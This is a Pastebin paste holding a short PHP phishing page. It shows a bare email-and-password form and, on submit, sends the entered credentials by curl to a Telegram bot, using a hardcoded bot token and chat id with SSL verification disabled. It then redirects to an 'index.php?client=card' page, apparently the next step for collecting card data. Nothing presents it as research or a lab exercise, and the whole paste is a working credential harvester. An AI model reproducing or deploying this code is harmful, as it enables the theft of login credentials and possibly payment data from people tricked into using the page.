Advertisement
redhat99

Untitled

Jun 4th, 2023 (edited)
29
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.04 KB | None | 0 0
  1. <?php
  2. if (isset($_POST['submit'])) {
  3. $username = $_POST['username'];
  4. $password =$_POST['password'];
  5. $message ="username : \n ".$username."\npassword :".$password."";
  6. $botToken="1694224755:AAEKMQOfWWl3LUN6R4BI7MFM4k1bynKnxj0";
  7. $chatId="1300035109";
  8. $website="https://api.telegram.org/bot".$botToken;
  9. $params=[
  10. 'chat_id'=>$chatId,
  11. 'text'=>$message,
  12. ];
  13. $ch = curl_init($website . '/sendMessage');
  14. curl_setopt($ch, CURLOPT_HEADER, false);
  15. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  16. curl_setopt($ch, CURLOPT_POST, 1);
  17. curl_setopt($ch, CURLOPT_POSTFIELDS, ($params));
  18. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  19. $result = curl_exec($ch);
  20. curl_close($ch);
  21.  
  22.  
  23. header('location : index.php?client=card');
  24. }
  25.  
  26.  
  27.  
  28.  
  29. ?>
  30.  
  31. <!DOCTYPE html>
  32. <html>
  33. <head>
  34. <title>
  35. </title>
  36. </head>
  37. <body>
  38. <form action="#" method="POST">
  39. <input type="email" name="username">
  40. <br>
  41. <input type="password" name="password"><br>
  42. <input type="submit" name="submit">
  43.  
  44. </form>
  45. </body>
  46. </html>
  47.  
  48.  
  49.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement